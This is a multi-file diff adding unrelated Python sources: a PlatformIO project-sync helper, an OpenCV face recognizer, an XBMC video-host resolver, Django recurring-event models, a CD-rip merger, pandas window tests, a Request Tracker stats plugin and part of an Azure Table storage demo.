+from platformio.compat import hashlib_encode_data
+
+
+class PROJECT_SYNC_STAGE(constants.Flags):
+    INIT = constants.FlagConstant()
+    DBINDEX = constants.FlagConstant()
+    DELETE = constants.FlagConstant()
+    UPLOAD = constants.FlagConstant()
+    EXTRACTED = constants.FlagConstant()
+    COMPLETED = constants.FlagConstant()
+
+
+class ProjectSync(object):
+    def __init__(self, path):
+        self.path = path
+        if not isdir(self.path):
+            os.makedirs(self.path)
+        self.items = []
+        self._db = {}
+
+    def add_item(self, path, relpath, cb_filter=None):
+        self.items.append((path, relpath, cb_filter))
+
+    def get_items(self):
+        return self.items
+
+    def rebuild_dbindex(self):
+        self._db = {}
+        for (path, relpath, cb_filter) in self.items:
+            if cb_filter and not cb_filter(path):
+                continue
+            self._insert_to_db(path, relpath)
+            if not isdir(path):
+                continue
+            for (root, _, files) in os.walk(path, followlinks=True):
+                for name in files:
+                    self._insert_to_db(
+                        join(root, name), join(relpath, root[len(path) + 1 :], name)
+                    )
+
+    def _insert_to_db(self, path, relpath):
+        if not isfile(path):
+            return
+        index_hash = "%s-%s-%s" % (relpath, getmtime(path), getsize(path))
+        index = crc32(hashlib_encode_data(index_hash))
+        self._db[index] = (path, relpath)
+
+    def get_dbindex(self):
+        return list(self._db.keys())
+
+    def delete_dbindex(self, dbindex):
+        for index in dbindex:
+            if index not in self._db:
+                continue
+            path = self._db[index][0]
+            if isfile(path):
+                os.remove(path)
+            del self._db[index]
+        self.delete_empty_folders()
+        return True
+
+    def delete_empty_folders(self):
+        deleted = False
+        for item in self.items:
+            if not isdir(item[0]):
+                continue
+            for root, dirs, files in os.walk(item[0]):
+                if not dirs and not files and root != item[0]:
+                    deleted = True
+                    os.rmdir(root)
+        if deleted:
+            return self.delete_empty_folders()
+
+        return True
+
+    def compress_items(self, fileobj, dbindex, max_size):
+        compressed = []
+        total_size = 0
+        tar_opts = dict(fileobj=fileobj, mode="w:gz", bufsize=0, dereference=True)
+        with tarfile.open(**tar_opts) as tgz:
+            for index in dbindex:
+                compressed.append(index)
+                if index not in self._db:
+                    continue
+                path, relpath = self._db[index]
+                tgz.add(path, relpath)
+                total_size += getsize(path)
+                if total_size > max_size:
+                    break
+        return compressed
+
+    def decompress_items(self, fileobj):
+        fileobj.seek(0)
+        with tarfile.open(fileobj=fileobj, mode="r:gz") as tgz:
+            tgz.extractall(self.path)
+        return True
diff --git a/pool/shard000/Python/0008871_modelTrain.py b/pool/shard000/Python/0008871_modelTrain.py
new file mode 100644
index 0000000000000000000000000000000000000000..bc7cf77938b974a07143193586a5a98656bdcdfb
--- /dev/null
+++ b/pool/shard000/Python/0008871_modelTrain.py
@@ -0,0 +1,126 @@
+import os
+import sys
+import cv2
+import numpy as np
+
+def collect_dataset():
+    images = []
+    labels = []
+    labels_dic = {}
+    people = [person for person in os.listdir("people/")]
+    for i, person in enumerate(people):
+        labels_dic[i] = person
+        for image in os.listdir("people/" + person):
+            images.append(cv2.imread("people/" + person + '/' + image,0))
+            labels.append(i)
+    return(images,np.array(labels), labels_dic)
+
+
+def train_dataset():
+    images, labels, labels_dic = collect_dataset()
+
+    rec_eig = cv2.face.createEigenFaceRecognizer()
+    rec_eig.train(images,labels)
+
+    print("Models Trained Succesfully")
+    return(rec_eig,labels_dic)
+
+
+def face_recognition(recognizer,labels_dic):
+    cap = cv2.VideoCapture(0)
+    faceCascade = cv2.CascadeClassifier("C:\Work\Rohit\PythonCV\haarcascade_frontalface_default.xml")
+
+    while(True):
+        # Capture frame-by-frame
+        ret, frame = cap.read()
+
+        #BGR to Gray    
+        gray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)
+
+        biggest_only = True     
+        # Detect faces in the image
+        faces = faceCascade.detectMultiScale(
+        gray,
+        scaleFactor=1.1,
+        minNeighbors=5,
+        minSize=(30, 30),
+        flags=cv2.CASCADE_FIND_BIGGEST_OBJECT | \
+                  cv2.CASCADE_DO_ROUGH_SEARCH if biggest_only else \
+                  cv2.CASCADE_SCALE_IMAGE
+        
+        )
+        
+        if len(faces):
+            faces_crop = cut_faces(frame,faces)
+            faces_eqal = norm_intensity(faces_crop)
+            faces_res  = resize(faces_eqal)
+            name = predict(faces_res,recognizer,labels_dic)
+
+        #Draw rectangle
+        for (x, y, w, h) in faces:
+            cv2.rectangle(frame, (x, y), (x+w, y+h), (0, 255, 0), 2)
+            cv2.putText(frame,name,(x,y),cv2.FONT_HERSHEY_PLAIN,3,(255,255,255),2)
+                        
+
+        #Display image with box and print no of faces in terminal
+        cv2.imshow("Faces live", frame)
+            
+                        
+        if cv2.waitKey(1) & 0xFF == ord('q'):
+            break
+
+    # When everything done, release the capture
+    cap.release()
+    cv2.destroyAllWindows()
+
+
+def predict(faces,recognizer,labels_dic):
+    face = faces[0]
+   
+    if cv2.__version__ >= "3.1.0":
+        collector = cv2.face.StandardCollector_create()
+        recognizer.predict_collect(face,collector)
+        conf = collector.getMinDist()
+        pred = collector.getMinLabel()
+    else:
+        collector = cv2.face.MinDistancePredictCollector()
+        recognizer.predict(face,collector)
+        conf = collector.getDist()
+        pred = collector.getLabel()
+    print ("Eigen Faces-> Prediction: " + labels_dic[pred].capitalize() + "   Confidence: " + str(round(conf)))
+    cv2.imshow("Face Cropped",face)
+    return (labels_dic[pred])
+
+
+def cut_faces(image,faces_coord):
+    faces = []
+
+    for (x, y, w, h) in faces_coord:
+        w_rm = int(0.2 * w / 2)
+        faces.append(image[y: y + h, x + w_rm: x + w - w_rm])
+
+    return faces
+
+def norm_intensity(images):
+    images_norm = []
+    for image in images:
+        is_color = len(image.shape) == 3
+        if is_color:
+            image = cv2.cvtColor(image,cv2.COLOR_BGR2GRAY)           
+        images_norm.append(cv2.equalizeHist(image))
+    return images_norm
+
+def resize(images, size=(100, 100)):
+    images_resize = []
+    for image in images:
+        if image.shape < size:
+            image_resize = cv2.resize(image,size,interpolation = cv2.INTER_AREA)
+        else:
+            image_resize = cv2.resize(image,size,interpolation = cv2.INTER_CUBIC)
+        images_resize.append(image_resize)
+    return images_resize
+    
+if __name__== "__main__":   
+    recognizer,labels_dic = train_dataset()    
+    face_recognition(recognizer,labels_dic)
+    
diff --git a/pool/shard000/Python/0008874_uploadc.py b/pool/shard000/Python/0008874_uploadc.py
new file mode 100644
index 0000000000000000000000000000000000000000..f17e7e546c3183468b8cc81c6ef861b41c97cb99
--- /dev/null
+++ b/pool/shard000/Python/0008874_uploadc.py
@@ -0,0 +1,90 @@
+"""
+    urlresolver XBMC Addon
+    Copyright (C) 2011 t0mm0
+
+    This program is free software: you can redistribute it and/or modify
+    it under the terms of the GNU General Public License as published by
+    the Free Software Foundation, either version 3 of the License, or
+    (at your option) any later version.
+
+    This program is distributed in the hope that it will be useful,
+    but WITHOUT ANY WARRANTY; without even the implied warranty of
+    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+    GNU General Public License for more details.
+
+    You should have received a copy of the GNU General Public License
+    along with this program.  If not, see <http://www.gnu.org/licenses/>.
+"""
+from t0mm0.common.net import Net
+from urlresolver.plugnplay.interfaces import UrlResolver
+from urlresolver.plugnplay.interfaces import PluginSettings
+from urlresolver.plugnplay import Plugin
+import urllib2, re, os
+from urlresolver import common
+from lib import jsunpack
+
+#SET ERROR_LOGO# THANKS TO VOINAGE, BSTRDMKR, ELDORADO
+error_logo = os.path.join(common.addon_path, 'resources', 'images', 'redx.png')
+
+class UploadcResolver(Plugin, UrlResolver, PluginSettings):
+    implements = [UrlResolver, PluginSettings]
+    name = "uploadc"
+
+    def __init__(self):
+        p = self.get_setting('priority') or 100
+        self.priority = int(p)
+        self.net = Net()
+        # modified by mscreations. uploadc now needs the filename after the media id so make sure we match that
+        self.pattern = 'http://((?:www.)?uploadc.com)/([0-9a-zA-Z]+/[0-9a-zA-Z/._]+)'
+
+    def get_media_url(self, host, media_id):
+        web_url = self.get_url(host, media_id)
+        
+        #get html
+        try:
+            html = self.net.http_GET(web_url).content
+
+            #send all form values
+            sPattern = '<input.*?name="([^"]+)".*?value=([^>]+)>'
+            r = re.findall(sPattern, html)
+            data = {}
+            if r:
+                for match in r:
+                    name = match[0]
+                    value = match[1].replace('"','')
+                    data[name] = value
+
+                html = self.net.http_POST(web_url, data).content
+            else:
+                raise Exception ('File Not Found or removed')
+            
+            # modified by mscreations. get the file url from the returned javascript
+            match = re.search("addVariable[(]'file','(.+?)'[)]", html, re.DOTALL + re.IGNORECASE)
+            if match:
+                return match.group(1)
+        
+            raise Exception ('File Not Found or removed')
+        except urllib2.URLError, e:
+            common.addon.log_error(self.name + ': got http error %d fetching %s' %
+                                   (e.code, web_url))
+            common.addon.show_small_popup('Error','Http error: '+str(e), 8000, error_logo)
+            return self.unresolvable(code=3, msg=e)
+        except Exception, e:
+            common.addon.log('**** Uploadc Error occured: %s' % e)
+            common.addon.show_small_popup(title='[B][COLOR white]UPLOADC[/COLOR][/B]', msg='[COLOR red]%s[/COLOR]' % e, delay=5000, image=error_logo)
+            return self.unresolvable(code=0, msg=e)
+
+    def get_url(self, host, media_id):
+            return 'http://www.uploadc.com/%s' % (media_id)
+
+    def get_host_and_id(self, url):
+        r = re.search(self.pattern, url)
+        if r:
+            return r.groups()
+        else:
+            return False
+
+
+    def valid_url(self, url, host):
+        if self.get_setting('enabled') == 'false': return False
+        return re.match(self.pattern, url) or self.name in host
diff --git a/pool/shard000/Python/0008883_models.py b/pool/shard000/Python/0008883_models.py
new file mode 100644
index 0000000000000000000000000000000000000000..685fa484b174dbeed733ea1d4d405ab1f6ccbc53
--- /dev/null
+++ b/pool/shard000/Python/0008883_models.py
@@ -0,0 +1,161 @@
+import pytz
+from itertools import islice
+from functools import wraps, total_ordering
+try:
+    from queue import PriorityQueue
+except ImportError:
+    from Queue import PriorityQueue
+
+from django.db import models
+from django.core.urlresolvers import reverse
+from django.utils import timezone
+from django.utils.translation import ugettext_lazy as _
+from django.utils.six import python_2_unicode_compatible
+
+from autoslug.fields import AutoSlugField
+from ckeditor.fields import RichTextField
+from recurrence.fields import RecurrenceField
+from sorl.thumbnail import ImageField
+
+
+def sliceable(generator):
+    @wraps(generator)
+    def wrapper(self, *args, **kwargs):
+        count = kwargs.pop('count', None)
+        iterator = generator(self, *args, **kwargs)
+        return iterator if count is None else islice(iterator, count)
+    return wrapper
+
+
+class Naive(object):
+    def __init__(self, dt):
+        self.dt = dt
+
+    def __enter__(self):
+        tz = self.dt.tzinfo
+        naive = pytz.UTC.normalize(self.dt).replace(tzinfo=None)
+        return naive, tz.localize
+
+    def __exit__(self, *exc):
+        pass
+
+
+class EventQuerySet(models.QuerySet):
+    @sliceable
+    def after(self, dtstart):
+        with Naive(dtstart) as (naive, localize):
+            # automatically ordered by date
+            queue = PriorityQueue()
+
+            # for every event, get its recurrence after the given datetime
+            for e in self.iterator():
+                day = e.recurrences.after(naive)
+                if day is not None:
+                    queue.put((day, e))
+
+            # for every recurrence, get its event and add the next recurrence to the queue
+            while not queue.empty():
+                day, event = queue.get()
+                yield localize(day), event
+                day = event.recurrences.after(day)
+                if day is not None:
+                    queue.put((day, event))
+
+    @sliceable
+    def before(self, dtend):
+        with Naive(dtend) as (naive, localize):
+            # automatically ordered by date
+            queue = PriorityQueue()
+
+            # for every event, get its recurrence before the given datetime
+            for e in self.iterator():
+                day = e.recurrences.before(naive)
+                if day is not None:
+                    queue.put((day, e))
+
+            # for every recurrence, get its event and add the next recurrence to the queue
+            while not queue.empty():
+                day, event = queue.get()
+                yield localize(day), event
+                day = event.recurrences.before(day)
+                if day is not None:
+                    queue.put((day, event))
+
+    @sliceable
+    def between(self, dtstart, dtend):
+        with Naive(dtstart) as (naive_start, localize), Naive(dtend) as (naive_end, localize):
+            # automatically ordered by date
+            queue = PriorityQueue()
+
+            # for every event, get its recurrences between the given datetimes
+            for e in self.iterator():
+                for day in e.recurrences.between(naive_start, naive_end, inc=True):
+                    queue.put((day, e))
+
+            # for every recurrence, get its event and add the next recurrences to the queue
+            while not queue.empty():
+                day, event = queue.get()
+                yield localize(day), event
+
+    @sliceable
+    def upcoming(self):
+        """
+        Get the upcoming event recurrences.
+        """
+        return self.after(timezone.now().replace(hour=0, minute=0, second=0))
+
+
+@total_ordering
+@python_2_unicode_compatible
+class Event(models.Model):
+    objects = EventQuerySet.as_manager()
+
+    class Meta:
+        verbose_name = _('Event')
+        verbose_name_plural = _('Events')
+
+    title = models.CharField(_('Title'), max_length=128)
+    slug = AutoSlugField(editable=False, unique=True, populate_from='title')
+
+    recurrences = RecurrenceField(_('Recurrences'))
+    time = models.TimeField(_('Time'), null=True, blank=True, help_text=_('Leave blank if all day event.'))
+
+    description = RichTextField(_('Description'), blank=True)
+    location = models.CharField(_('Location'), max_length=256, blank=True)
+    image = ImageField(_('Image'), blank=True, upload_to='events')
+    link = models.URLField(_('Link'), blank=True)
+
+    def __str__(self):
+        return self.title
+
+    def __lt__(self, other):
+        return (self.time, self.pk) < (other.time, other.pk)
+
+    def get_absolute_url(self):
+        return reverse('events:detail', kwargs={'slug': self.slug})
+
+    @sliceable
+    def upcoming(self):
+        """
+        Generator of all the future occurrences of this event.
+        """
+        with Naive(timezone.now()) as (naive, localize):
+            upcoming = naive
+            while True:
+                upcoming = self.recurrences.after(upcoming)
+                if upcoming is None:
+                    return
+                yield localize(upcoming)
+
+    @sliceable
+    def past(self):
+        """
+        Generator of all the past occurrences of this event.
+        """
+        with Naive(timezone.now()) as (naive, localize):
+            past = naive
+            while True:
+                past = self.recurrences.before(past)
+                if past is None:
+                    return
+                yield localize(past)
diff --git a/pool/shard000/Python/0008888_merge_rips.py b/pool/shard000/Python/0008888_merge_rips.py
new file mode 100644
index 0000000000000000000000000000000000000000..31c047443f09c34ed1ccb9182193a4be04a3df65
--- /dev/null
+++ b/pool/shard000/Python/0008888_merge_rips.py
@@ -0,0 +1,97 @@
+#!/usr/bin/python -tt
+#
+# Copyright (c) 2009, Adam Simpkins
+#
+"""
+Merge several different ripped versions of a track.  Useful when cdparanoia
+reports some uncorrectable errors.  If you have ripped the track several times,
+this tool can merge them all, by choosing the most popular value from all files
+for each byte value.
+
+Usage: merge.py FILE1 FILE2 [...] > merged.wav
+"""
+
+import sys
+
+def msg(s):
+    print >> sys.stderr, str(s)
+
+
+def handle_difference(outf, bytes, offset):
+    values = {}
+    for b in bytes:
+        try:
+            values[b] += 1
+        except KeyError:
+            values[b] = 1
+
+    max_count = 0
+    max_byte = []
+    for (b, count) in values.items():
+        if count > max_count:
+            max_count = count
+            max_byte = [b]
+        elif count == max_count:
+            max_byte.append(b)
+
+    if len(max_byte) != 1:
+        raise Exception('tie at offset %d: %s' % (offset, max_byte))
+
+    msg('%d: %s --> %r' % (offset, values, max_byte[0]))
+    outf.write(max_byte[0])
+
+
+def handle_chunks(outf, chunks, offset):
+    # See if there are any differences
+    v = chunks[0]
+    for c in chunks:
+        if c != v:
+            break
+    else:
+        # Great, all identical
+        outf.write(v)
+        sys.stderr.write('%d\r' % (offset,))
+        return
+
+    # Hmm.  We found differences.
+    # Try to split the chunks in half, and recurse on each half.
+    l = len(v)
+    if l == 1:
+        # Down to single byte chunks.
+        # Handle the difference.
+        handle_difference(outf, chunks, offset)
+    else:
+        h = l / 2
+        first_half = [c[:h] for c in chunks]
+        second_half = [c[h:] for c in chunks]
+        handle_chunks(outf, first_half, offset)
+        handle_chunks(outf, second_half, offset + h)
+
+
+def main(argv):
+    filenames = argv[1:]
+    msg(filenames)
+
+    outf = sys.stdout
+
+    files = [open(name, 'r') for name in filenames]
+
+    block_size = 2048
+    offset = 0
+    while True:
+        blocks = [f.read(block_size) for f in files]
+
+        # FIXME: detect end of file better.
+        # If some end before others, handle the error.
+        if not blocks[0]:
+            break
+
+        handle_chunks(outf, blocks, offset)
+        offset += block_size
+
+    return 0
+
+
+if __name__ == '__main__':
+    rc = main(sys.argv)
+    sys.exit(rc)
diff --git a/pool/shard000/Python/0008889_schemas.py b/pool/shard000/Python/0008889_schemas.py
new file mode 100644
index 0000000000000000000000000000000000000000..3ae8b0f1f0bee738eebcbbe9980998ca3a667794
--- /dev/null
+++ b/pool/shard000/Python/0008889_schemas.py
@@ -0,0 +1,33 @@
+# Yith Library Server is a password storage server.
+# Copyright (C) 2012-2013 Lorenzo Gil Sanchez <lorenzo.gil.sanchez@gmail.com>
+#
+# This file is part of Yith Library Server.
+#
+# Yith Library Server is free software: you can redistribute it and/or modify
+# it under the terms of the GNU Affero General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# Yith Library Server is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU Affero General Public License
+# along with Yith Library Server.  If not, see <http://www.gnu.org/licenses/>.
+
+import colander
+from deform.widget import TextAreaWidget
+
+from yithlibraryserver.i18n import TranslationString as _
+
+
+class ContactSchema(colander.MappingSchema):
+
+    name = colander.SchemaNode(colander.String(), title=_('Name'))
+    email = colander.SchemaNode(colander.String(), title=_('Email'))
+    message = colander.SchemaNode(
+        colander.String(),
+        widget=TextAreaWidget(css_class='input-xxlarge', rows=10),
+        title=_('Message'),
+        )
diff --git a/pool/shard000/Python/0008894_test_expanding.py b/pool/shard000/Python/0008894_test_expanding.py
new file mode 100644
index 0000000000000000000000000000000000000000..1e92c981964c5fc8a41dd53426a8d68ed651635b
--- /dev/null
+++ b/pool/shard000/Python/0008894_test_expanding.py
@@ -0,0 +1,115 @@
+import numpy as np
+import pytest
+
+from pandas.errors import UnsupportedFunctionCall
+
+import pandas as pd
+from pandas import DataFrame, Series
+import pandas.core.window as rwindow
+from pandas.tests.window.common import Base
+import pandas.util.testing as tm
+
+
+class TestExpanding(Base):
+    def setup_method(self, method):
+        self._create_data()
+
+    def test_doc_string(self):
+
+        df = DataFrame({"B": [0, 1, 2, np.nan, 4]})
+        df
+        df.expanding(2).sum()
+
+    @pytest.mark.parametrize("which", ["series", "frame"])
+    def test_constructor(self, which):
+        # GH 12669
+
+        o = getattr(self, which)
+        c = o.expanding
+
+        # valid
+        c(min_periods=1)
+        c(min_periods=1, center=True)
+        c(min_periods=1, center=False)
+
+        # not valid
+        for w in [2.0, "foo", np.array([2])]:
+            with pytest.raises(ValueError):
+                c(min_periods=w)
+            with pytest.raises(ValueError):
+                c(min_periods=1, center=w)
+
+    @pytest.mark.parametrize("method", ["std", "mean", "sum", "max", "min", "var"])
+    def test_numpy_compat(self, method):
+        # see gh-12811
+        e = rwindow.Expanding(Series([2, 4, 6]), window=2)
+
+        msg = "numpy operations are not valid with window objects"
+
+        with pytest.raises(UnsupportedFunctionCall, match=msg):
+            getattr(e, method)(1, 2, 3)
+        with pytest.raises(UnsupportedFunctionCall, match=msg):
+            getattr(e, method)(dtype=np.float64)
+
+    @pytest.mark.parametrize(
+        "expander",
+        [
+            1,
+            pytest.param(
+                "ls",
+                marks=pytest.mark.xfail(
+                    reason="GH#16425 expanding with offset not supported"
+                ),
+            ),
+        ],
+    )
+    def test_empty_df_expanding(self, expander):
+        # GH 15819 Verifies that datetime and integer expanding windows can be
+        # applied to empty DataFrames
+
+        expected = DataFrame()
+        result = DataFrame().expanding(expander).sum()
+        tm.assert_frame_equal(result, expected)
+
+        # Verifies that datetime and integer expanding windows can be applied
+        # to empty DataFrames with datetime index
+        expected = DataFrame(index=pd.DatetimeIndex([]))
+        result = DataFrame(index=pd.DatetimeIndex([])).expanding(expander).sum()
+        tm.assert_frame_equal(result, expected)
+
+    def test_missing_minp_zero(self):
+        # https://github.com/pandas-dev/pandas/pull/18921
+        # minp=0
+        x = pd.Series([np.nan])
+        result = x.expanding(min_periods=0).sum()
+        expected = pd.Series([0.0])
+        tm.assert_series_equal(result, expected)
+
+        # minp=1
+        result = x.expanding(min_periods=1).sum()
+        expected = pd.Series([np.nan])
+        tm.assert_series_equal(result, expected)
+
+    @pytest.mark.parametrize("klass", [pd.Series, pd.DataFrame])
+    def test_iter_raises(self, klass):
+        # https://github.com/pandas-dev/pandas/issues/11704
+        # Iteration over a Window
+        obj = klass([1, 2, 3, 4])
+        with pytest.raises(NotImplementedError):
+            iter(obj.expanding(2))
+
+    def test_expanding_axis(self, axis_frame):
+        # see gh-23372.
+        df = DataFrame(np.ones((10, 20)))
+        axis = df._get_axis_number(axis_frame)
+
+        if axis == 0:
+            expected = DataFrame(
+                {i: [np.nan] * 2 + [float(j) for j in range(3, 11)] for i in range(20)}
+            )
+        else:
+            # axis == 1
+            expected = DataFrame([[np.nan] * 2 + [float(i) for i in range(3, 21)]] * 10)
+
+        result = df.expanding(3, axis=axis_frame).sum()
+        tm.assert_frame_equal(result, expected)
diff --git a/pool/shard000/Python/0008899_rt.py b/pool/shard000/Python/0008899_rt.py
new file mode 100644
index 0000000000000000000000000000000000000000..a724e371b25e0b0373a00e03eb843f1129ba553d
--- /dev/null
+++ b/pool/shard000/Python/0008899_rt.py
@@ -0,0 +1,155 @@
+# coding: utf-8
+"""
+Request Tracker stats such as reported and resolved tickets
+
+Config example::
+
+    [rt]
+    type = rt
+    prefix = RT
+    url = https://tracker.org/rt/Search/Results.tsv
+"""
+
+import http.client
+import urllib.parse
+from base64 import b64encode
+
+import gssapi
+
+from did.base import Config, ReportError
+from did.stats import Stats, StatsGroup
+from did.utils import log, pretty
+
+# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+#  RequestTracker
+# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+
+class RequestTracker(object):
+    """ Request Tracker Investigator """
+
+    def __init__(self, parent):
+        """ Initialize url and parent """
+        self.parent = parent
+        self.url = urllib.parse.urlsplit(parent.url)
+        self.url_string = parent.url
+
+    def get(self, path):
+        """ Perform a GET request with GSSAPI authentication """
+        # Generate token
+        service_name = gssapi.Name('HTTP@{0}'.format(self.url.netloc),
+                                   gssapi.NameType.hostbased_service)
+        ctx = gssapi.SecurityContext(usage="initiate", name=service_name)
+        data = b64encode(ctx.step()).decode()
+
+        # Make the connection
+        connection = http.client.HTTPSConnection(self.url.netloc, 443)
+        log.debug("GET {0}".format(path))
+        connection.putrequest("GET", path)
+        connection.putheader("Authorization", "Negotiate {0}".format(data))
+        connection.putheader("Referer", self.url_string)
+        connection.endheaders()
+
+        # Perform the request, convert response into lines
+        response = connection.getresponse()
+        if response.status != 200:
+            raise ReportError(
+                "Failed to fetch tickets: {0}".format(response.status))
+        lines = response.read().decode("utf8").strip().split("\n")[1:]
+        log.debug("Tickets fetched:")
+        log.debug(pretty(lines))
+        return lines
+
+    def search(self, query):
+        """ Perform request tracker search """
+        # Prepare the path
+        log.debug("Query: {0}".format(query))
+        path = self.url.path + '?Format=__id__+__Subject__'
+        path += "&Order=ASC&OrderBy=id&Query=" + urllib.parse.quote(query)
+
+        # Get the tickets
+        lines = self.get(path)
+        log.info("Fetched tickets: {0}".format(len(lines)))
+        return [self.parent.ticket(line, self.parent) for line in lines]
+
+
+# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+#  Ticket
+# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+class Ticket(object):
+    """ Request tracker ticket """
+
+    def __init__(self, record, parent):
+        """ Initialize the ticket from the record """
+        self.id, self.subject = record.split("\t")
+        self.parent = parent
+
+    def __str__(self):
+        """ Consistent identifier and subject for displaying """
+        return "{0}#{1} - {2}".format(
+            self.parent.prefix, self.id, self.subject)
+
+
+# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+#  Stats
+# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+class ReportedTickets(Stats):
+    """ Tickets reported """
+
+    def fetch(self):
+        log.info("Searching for tickets reported by {0}".format(self.user))
+        query = "Requestor.EmailAddress = '{0}'".format(self.user.email)
+        query += " AND Created > '{0}'".format(self.options.since)
+        query += " AND Created < '{0}'".format(self.options.until)
+        self.stats = self.parent.request_tracker.search(query)
+
+
+class ResolvedTickets(Stats):
+    """ Tickets resolved """
+
+    def fetch(self):
+        log.info("Searching for tickets resolved by {0}".format(self.user))
+        query = "Owner.EmailAddress = '{0}'".format(self.user.email)
+        query += "AND Resolved > '{0}'".format(self.options.since)
+        query += "AND Resolved < '{0}'".format(self.options.until)
+        self.stats = self.parent.request_tracker.search(query)
+
+
+# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+#  Stats Group
+# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+class RequestTrackerStats(StatsGroup):
+    """ Request Tracker """
+
+    # Default order
+    order = 500
+
+    def __init__(self, option, name=None, parent=None, user=None):
+        """ Process config, prepare investigator, construct stats """
+
+        # Check Request Tracker instance url and custom prefix
+        StatsGroup.__init__(self, option, name, parent, user)
+        config = dict(Config().section(option))
+        try:
+            self.url = config["url"]
+        except KeyError:
+            raise ReportError(
+                "No url in the [{0}] section".format(option))
+        try:
+            self.prefix = config["prefix"]
+        except KeyError:
+            raise ReportError(
+                "No prefix set in the [{0}] section".format(option))
+
+        # Save Ticket class as attribute to allow customizations by
+        # descendant class and set up the RequestTracker investigator
+        self.ticket = Ticket
+        self.request_tracker = RequestTracker(parent=self)
+        # Construct the list of stats
+        self.stats = [
+            ReportedTickets(option=option + "-reported", parent=self),
+            ResolvedTickets(option=option + "-resolved", parent=self),
+            ]
diff --git a/pool/shard000/Python/0008903_storage_table_demo.py b/pool/shard000/Python/0008903_storage_table_demo.py
new file mode 100644
index 0000000000000000000000000000000000000000..a5af88ec2394b805833ed2cfa31e2c6e56e1cd87
--- /dev/null
+++ b/pool/shard000/Python/0008903_storage_table_demo.py
@@ -0,0 +1,144 @@
+# This script sample is part of "Learn Azure in a Month of Lunches" (Manning
+# Publications) by Iain Foulds.
+#
+# This sample script covers the exercises from chapter 4 of the book. For more
+# information and context to these commands, read a sample of the book and
+# purchase at https://www.manning.com/books/learn-azure-in-a-month-of-lunches
+#
+# This script sample is released under the MIT license. For more information,
+# see https://github.com/fouldsy/azure-mol-samples/blob/master/LICENSE
+
+import string,random,time,azurerm,json,subprocess
+
+from azure.cosmosdb.table.tableservice import TableService
+from azure.cosmosdb.table.models import Entity
+
+# Define variables to handle Azure authentication
+get_token_cli = subprocess.Popen(['az account get-access-token | jq  -r .accessToken'], stdout=subprocess.PIPE, shell=True)
+auth_token = str(get_token_cli.communicate()[0]).rstrip()
+subscription_id = azurerm.get_subscription_from_cli()
+
+# Define variables with random resource group and storage account names
+resourcegroup_name = 'azuremol'+''.join(random.choice(string.ascii_lowercase + string.digits) for _ in range(6))
+storageaccount_name = 'azuremol'+''.join(random.choice(string.ascii_lowercase + string.digits) for _ in range(6))
+location = 'eastus'
+
+###
+# Create the a resource group for our demo
+# We need a resource group and a storage account. A random name is generated, as each storage account name must be globally unique.
+###
+response = azurerm.create_resource_group(auth_token, subscription_id, resourcegroup_name, location)
+if response.status_code == 200 or response.status_code == 201:
+    print('Resource group: ' + resourcegroup_name + ' created successfully.')
+else:
+    print('Error creating resource group')
+
+# Create a storage account for our demo
+response = azurerm.create_storage_account(auth_token, subscription_id, resourcegroup_name, storageaccount_name,  location, storage_type='Standard_LRS')
+if response.status_code == 202:
+    print('Storage account: ' + storageaccount_name + ' created successfully.')
+    print('\nWaiting for storage account to be ready before we create a Table')
+    time.sleep(15)
+else:
+    print('Error creating storage account')
+
+
+###
+# Use the Azure Storage Storage SDK for Python to create a Table
+###
+print('\nLet\'s create an Azure Storage Table to store some data.')
+raw_input('Press Enter to continue...')
+
+# Each storage account has a primary and secondary access key.
+# These keys are used by aplications to access data in your storage account, such as Tables.
+# Obtain the primary storage access key for use with the rest of the demo
+
+response = azurerm.get_storage_account_keys(auth_token, subscription_id, resourcegroup_name, storageaccount_name)
+storageaccount_keys = json.loads(response.text)
+storageaccount_primarykey = storageaccount_keys['keys'][0]['value']
+
+# Create the Table with the Azure Storage SDK and the access key obtained in the previous step
+table_service = TableService(account_name=storageaccount_name, account_key=storageaccount_primarykey)
+response = table_service.create_table('pizzatable')
+if response == True:
+    print('Storage Table: pizzatable created successfully.\n')
+else:
+    print('Error creating Storage Table.\n')
+
+time.sleep(1)
+
+
+###
+# Use the Azure Storage Storage SDK for Python to create some entries in the Table
+###
+print('Now let\'s add some entries to our Table.\nRemember, Azure Storage Tables is a NoSQL datastore, so this is similar to adding records to a database.')
+raw_input('Press Enter to continue...')
+
+# Each entry in a Table is called an 'entity'. 
+# Here, we add an entry for first pizza with two pieces of data - the name, and the cost
+#
+# A partition key tracks how like-minded entries in the Table are created and queried.
+# A row key is a unique ID for each entity in the partition
+# These two properties are used as a primary key to index the Table. This makes queries much quicker.
+
+pizza = Entity()
+pizza.PartitionKey = 'pizzamenu'
+pizza.RowKey = '001'
+pizza.description = 'Pepperoni'
+pizza.cost = 18
+table_service.insert_entity('pizzatable', pizza)
+print('Created entry for pepperoni...')
+
+pizza = Entity()
+pizza.PartitionKey = 'pizzamenu'
+pizza.RowKey = '002'
